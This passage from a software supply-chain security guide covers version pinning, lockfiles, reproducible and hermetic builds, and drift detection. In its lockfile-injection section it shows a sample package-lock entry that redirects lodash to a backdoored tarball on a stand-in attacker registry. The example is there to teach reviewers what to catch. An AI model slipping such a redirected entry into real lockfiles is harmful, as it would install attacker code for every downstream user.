13.2 Version Pinning, Lockfiles, and Reproducible Builds¶
The left-pad incident of March 2016 demonstrated a core dependency-management risk: what you tested isn't always what you can build again later. When maintainer Azer Koçulu unpublished 273 npm packages, builds worldwide began failing—not because code changed, but because expected artifacts were no longer available. This incident underscored why dependency threat models must consider availability alongside integrity.
This section covers the spectrum of version control strategies, from basic version pinning to fully reproducible builds, explaining their security implications and practical implementation.
Version Specifications¶
How you specify dependency versions determines what your package manager installs. Different strategies balance flexibility against predictability.
Version Specification Types:
| Type | Example (npm) | Behavior | Security Implication |
|---|---|---|---|
| Exact | 1.2.3 |
Always this version | Maximum predictability |
| Patch range | ~1.2.3 |
1.2.x (≥1.2.3) | Auto-patch updates |
| Minor range | ^1.2.3 |
1.x.x (≥1.2.3) | Auto-feature updates |
| Major range | * or x |
Any version | Maximum flexibility, minimum predictability |
| Git reference | github:user/repo#commit |
Specific commit | Depends on commit specificity |
Ecosystem Syntax Comparison:
| Ecosystem | Exact | Patch Range | Minor Range | Any |
|---|---|---|---|---|
| npm | 1.2.3 |
~1.2.3 |
^1.2.3 |
* |
| pip | ==1.2.3 |
~=1.2.3 |
≥1.2,<2.0 |
(unpinned allowed) |
| Maven | 1.2.3 |
[1.2.3,1.3) |
[1.2.3,2.0) |
(dynamic versions discouraged) |
| Go | v1.2.3 |
N/A (MVS) | N/A | N/A |
| Cargo | =1.2.3 |
~1.2.3 |
^1.2.3 |
* |
Note on Maven: Avoid LATEST or RELEASE-style dynamic versions; prefer explicit ranges with enforcer/locking tooling.
Security Trade-offs:
Exact Versions (Most Restrictive): - ✅ Strong predictability—same version every time - ✅ Narrows the attack window for update-based compromises - ❌ Does not protect against a compromised pinned release or a compromised registry - ❌ No automatic security patches - ❌ Requires manual updates for every dependency
Range Specifications (Balanced): - ✅ Automatic patch/minor updates - ✅ Security patches can flow automatically - ❌ New versions may introduce vulnerabilities - ❌ Compromised package update affects you automatically
Floating Versions (Most Flexible): - ✅ Always latest features - ❌ Complete unpredictability - ❌ Breaking changes, new vulnerabilities arrive automatically - ❌ Builds can differ between runs
The tradeoff is stark: caret versions offer convenience, but when a maintainer pushes a compromised minor version, your next build automatically includes it. Exact pinning buys time to notice security advisories before malicious code enters your build.
The Version Range Dilemma:
Neither extreme is ideal:
- Too strict (all exact versions): Security patches don't flow; you must manually update everything
- Too loose (all ranges): Supply chain attacks flow automatically; builds are unpredictable
Most organizations need strategies that balance both concerns.
Lockfiles: Freezing Resolved Dependencies¶
Lockfiles record the exact versions resolved during a dependency installation, enabling reproducible installations regardless of version specifications.
Common Lockfiles:
| Ecosystem | Manifest | Lockfile / Integrity |
|---|---|---|
| npm | package.json |
package-lock.json |
| Yarn | package.json |
yarn.lock |
| pip | requirements.txt |
requirements.txt (pinned) or Pipfile.lock |
| Pipenv | Pipfile |
Pipfile.lock |
| Poetry | pyproject.toml |
poetry.lock |
| uv | pyproject.toml |
uv.lock |
| Bundler | Gemfile |
Gemfile.lock |
| Cargo | Cargo.toml |
Cargo.lock |
| Go | go.mod |
go.sum (checksums, not a lockfile) |
| Maven | pom.xml |
(no standard; plugins available) |
| Gradle | build.gradle |
gradle.lockfile (opt-in) |
Note on Go: Go uses Minimal Version Selection (MVS) for version resolution. go.sum contains cryptographic checksums for module contents but is not a lockfile in the npm sense—it doesn't pin a single cross-platform resolution snapshot. Version selection is governed by go.mod.
What Lockfiles Contain:
A lockfile typically includes:
// package-lock.json example (simplified)
{
"name": "my-app",
"lockfileVersion": 3,
"packages": {
"node_modules/lodash": {
"version": "4.17.21",
"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
"integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
}
}
}
Key elements: - Exact version: Not a range, the specific resolved version - Resolved URL: Where the package was downloaded from - Integrity hash: Cryptographic hash of package contents
Security Benefits of Lockfiles:
- Reproducibility: Same lockfile → same dependencies every time
- Integrity verification: Hash ensures package contents match expectations
- Attack window reduction: Malicious updates don't affect you until you update the lockfile
- Audit trail: Changes to lockfile are visible in version control
Lockfile Best Practices:
- Commit lockfiles to version control: They're essential for reproducibility
- Use
installnotupdatein CI: Install from lockfile, don't regenerate it - Review lockfile changes: Lockfile diffs in PRs show dependency changes
- Use integrity checking: Ensure your package manager verifies hashes
# npm: Install from lockfile (CI)
npm ci # Not npm install
# pip: Install from pinned requirements
pip install -r requirements.txt --require-hashes
# bundler: Install from lockfile
bundle install --frozen
Lockfiles Are Necessary, Not Sufficient:
Lockfile integrity depends on the broader security context:
- Review and signing: Lockfile changes should be reviewed like code; consider signed commits and protected branches
- Registry trust: Lockfiles record URLs and hashes from registries you trust; compromised registries compromise lockfiles
- Provenance attestations: For high assurance, combine lockfiles with SLSA provenance or in-toto attestations
- CI verification gates: Configure CI to fail if resolved URLs change unexpectedly
Lockfiles are a foundation, not a complete solution.
Lockfile Attack Vectors¶
Lockfiles improve security but aren't immune to attack.
Lockfile Injection:
Attackers who can modify lockfiles can redirect to malicious packages:
// Malicious lockfile modification
{
"packages": {
"node_modules/lodash": {
"version": "4.17.21",
"resolved": "https://evil-registry.com/lodash-backdoor.tgz",
"integrity": "sha512-[hash-of-malicious-package]"
}
}
}
If this change slips through code review, the malicious package installs despite the "correct" version number.
Mitigation:
- Review lockfile changes carefully (especially
resolvedURLs) - Use tooling to flag unexpected registry changes
- Restrict who can modify lockfiles
Lockfile Confusion:
Automated update tools (e.g., Dependabot, Renovate) treat lockfiles as authoritative inputs. If an attacker can influence lockfile generation or slip malicious lockfile diffs through review, automation can amplify the impact by propagating compromised dependencies across the codebase.
Large Diff Hiding:
Large lockfile diffs can obscure malicious changes:
Reviewers may skip reviewing such large diffs, missing injected malicious entries.
Mitigation:
- Use dedicated lockfile review tools
- Set up alerts for registry URL changes
- Consider lockfile-only PRs separate from code changes
Reproducible Builds¶
Reproducible builds (also called deterministic builds) ensure that given the same source code, build environment, and build instructions, the resulting binary is bit-for-bit identical every time.
Why Reproducibility Matters:
Without reproducibility: - You cannot verify that a binary came from claimed source code - Attackers can inject code during the build process undetectably - "Works on my machine" extends to security: "secure on my machine"
With reproducibility: - Anyone can verify binaries match source - Build compromises become detectable - Multiple independent builds can be compared
The SolarWinds Lesson:
The SolarWinds incident shows why build integrity matters: if artifacts can be independently rebuilt from the same source and instructions, and if consumers verify that equivalence, some forms of build-time tampering become easier to detect. The attack succeeded partly because no independent verification of the build output was in place.
SLSA and Reproducibility:
SLSA (Supply-chain Levels for Software Artifacts) provides a framework for build integrity. SLSA v1.0 organizes requirements into Build Levels:
| SLSA Build Level | Build Requirements |
|---|---|
| Build L0 | No guarantees (baseline) |
| Build L1 | Provenance exists showing how artifact was built |
| Build L2 | Hosted build platform generates and signs provenance |
| Build L3 | Hardened build platform with isolation between builds |
Note: SLSA v1.0 (released April 2023) replaced the earlier v0.1 terminology. The highest levels emphasize build isolation and provenance verification rather than reproducibility per se, though reproducible builds remain a valuable complementary practice.
Reproducibility Challenges:
Many factors cause build non-determinism:
| Factor | Example | Solution |
|---|---|---|
| Timestamps | Build date embedded in binary | Use SOURCE_DATE_EPOCH |
| File ordering | Directory traversal order varies | Sort file lists |
| Random data | UUIDs, random seeds | Fix seeds, remove randomness |
| Paths | Absolute paths in debug info | Normalize paths |
| Compiler version | Different optimization | Pin compiler version |
| Locale settings | Sorting, formatting | Fix locale |
Reproducible Builds Project:
The Reproducible Builds project works toward making all software reproducible:
- Debian: ~95% of packages reproducible on AMD64 (Debian unstable, per reproducible-builds.org tracking)
- Arch Linux: Active reproducibility effort
- Various language ecosystems: Improving support
Hermetic Builds¶
Hermetic builds are isolated from the network and local environment, using only explicitly declared inputs.
Hermetic Build Properties:
- No network access: All dependencies fetched before build, not during
- No host system leakage: Build environment is controlled container/sandbox
- Declared inputs only: Build cannot access undeclared files
- Fixed toolchain: Compiler, linker, tools are versioned and pinned
Implementation Approaches:
Bazel:
Bazel (Google) was designed for hermetic builds:
# WORKSPACE - declare external dependencies
http_archive(
name = "rules_python",
sha256 = "abc123...", # Integrity check
urls = ["https://github.com/bazelbuild/rules_python/..."],
)
# BUILD - build rules use only declared inputs
py_binary(
name = "my_app",
srcs = ["main.py"],
deps = [":lib"], # Explicit dependencies
)
Container-Based Builds:
# Hermetic build container
FROM debian:bullseye-20251229@sha256:3bbe51... # Pinned by digest
# Install build tools at specific versions
RUN apt-get install -y \
gcc=10.2.1-6 \
make=4.3-4.1
# Copy source (no network access during build)
COPY . /src
# Build without network
RUN --network=none make -C /src
Nix:
Nix provides hermetic builds through functional package management:
{ pkgs ? import <nixpkgs> {} }:
pkgs.stdenv.mkDerivation {
name = "my-app";
src = ./.;
buildInputs = [ pkgs.python3 ];
# Build is automatically hermetic
}
Drift Detection¶
Drift occurs when deployed software differs from what's specified in lockfiles or expected configurations.
Drift Sources:
- Lockfile not updated after manual intervention
- CI/CD using different resolution than development
- Cache serving stale packages
- Intentional or accidental lockfile bypass
Detection Approaches:
Lockfile Verification:
# npm: Verify package-lock.json matches node_modules
npm ci # Fails if lockfile doesn't match
# pip: Verify installed packages match
pip-compile --generate-hashes && pip-sync
# bundler: Check for drift
bundle check
Build-Time Verification:
Compare build outputs against expected hashes:
# Build and hash
sha256sum build/output.bin
# Compare against recorded hash
diff <(echo "expected_hash build/output.bin") <(sha256sum build/output.bin)
Runtime Verification:
Some systems verify at runtime:
Continuous Monitoring:
- Schedule regular drift checks in CI
- Alert when installed versions don't match lockfile
- Track dependency version changes over time
Tooling for Reproducibility Verification¶
Several tools help verify and achieve reproducibility.
diffoscope:
Compares files and shows exactly where they differ:
# Compare two builds
diffoscope build1/output.bin build2/output.bin
# Output shows exact byte differences with context
reprotest:
Builds packages twice in different environments to test reproducibility:
in-toto:
Framework for securing supply chain integrity:
# Record build steps with signatures
in-toto-record --step-name build -- make
in-toto-record --step-name package -- tar czf output.tar.gz build/
SLSA Provenance Generators:
Generate attestations about build provenance:
Ecosystem-Specific Best Practices¶
JavaScript/npm:
# Use package-lock.json
npm ci # Install from lockfile in CI
npm install --save-exact # Add exact versions by default
# Verify integrity (requires npm 8.x+ and registry signature support)
npm audit signatures # Verify registry signatures
To ensure the integrity of packages downloaded from registries that support signing, npm can verify registry signatures via npm audit signatures. This requires a sufficiently recent npm version and signed metadata from the registry.
Python:
# Use pip-tools for pinning
pip-compile --generate-hashes requirements.in
pip install -r requirements.txt --require-hashes
# Or use Poetry
poetry lock
poetry install --no-root
# Or use uv (fastest option with strong security defaults)
uv lock
uv sync
uv Security Advantages:
uv is a fast Python package manager written in Rust that provides strong supply chain security defaults. Unlike traditional requirements.txt files where hash verification is opt-in, uv generates lockfiles with SHA-256 hashes by default.
Key security features:
- Cross-platform lockfiles: uv.lock captures per-environment resolution branches, reducing "it worked on my machine" drift between platforms
- Hash verification by default: Every package in uv.lock includes content hashes when available from the index, making hash-based integrity checks easier to adopt in practice
- Reproducible resolution: The lockfile captures exact versions, preventing drift between development and production
- Significantly faster than pip: Speed encourages regular lockfile updates, reducing the window for supply chain attacks
Note: Cross-platform resolution has limitations—platform markers, native wheels, and optional dependencies may still cause differences between environments.
Go:
# Go modules with checksums
go mod tidy
go mod verify # Verify go.sum checksums
# Use Go 1.21+ for improved reproducibility
GOFLAGS="-trimpath" go build
Java/Maven:
<!-- Use versions-maven-plugin -->
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>versions-maven-plugin</artifactId>
</plugin>
<!-- Lock versions -->
mvn versions:lock-snapshots
Rust/Cargo:
# Cargo.lock is automatically created
cargo build --locked # Fail if Cargo.lock differs
# Verify
cargo verify-project
Recommendations¶
For Developers:
-
Use lockfiles. Always commit lockfiles to version control. For high-assurance builds, treat lockfiles as mandatory.
-
Install from lockfiles in CI. Use
npm ci,pip install --require-hashes, or equivalent—not commands that regenerate lockfiles. -
Review lockfile changes. Lockfile diffs show what dependencies actually changed. Review them like code.
-
Pin by digest where possible. For containers and critical dependencies, use content hashes not just versions.
For DevOps Engineers:
-
Implement hermetic builds. Isolate builds from network and host environment. Use containers or build systems designed for hermeticity.
-
Enable integrity verification. Configure package managers to verify hashes. Fail builds on verification failure.
-
Detect drift. Schedule regular checks that installed dependencies match lockfiles. Alert on discrepancies.
-
Cache carefully. Package caches can serve stale or different versions. Include version and hash in cache keys.
For Security Practitioners:
-
Audit lockfile pipelines. Ensure automated tools (Dependabot, Renovate) don't create attack vectors through lockfile manipulation.
-
Verify build reproducibility. For critical software, build independently and compare outputs.
-
Require provenance. Use SLSA provenance to verify build origins. Require it from vendors.
-
Monitor for lockfile attacks. Watch for PRs with suspicious lockfile changes, especially registry URL modifications.
Version pinning, lockfiles, and reproducible builds form a continuum of dependency control. Organizations should aim for the highest level practical for their context—exact versions and lockfiles as minimum, hermetic reproducible builds as aspiration for critical software. Each step up the spectrum increases confidence that what you built is what you tested is what you deployed.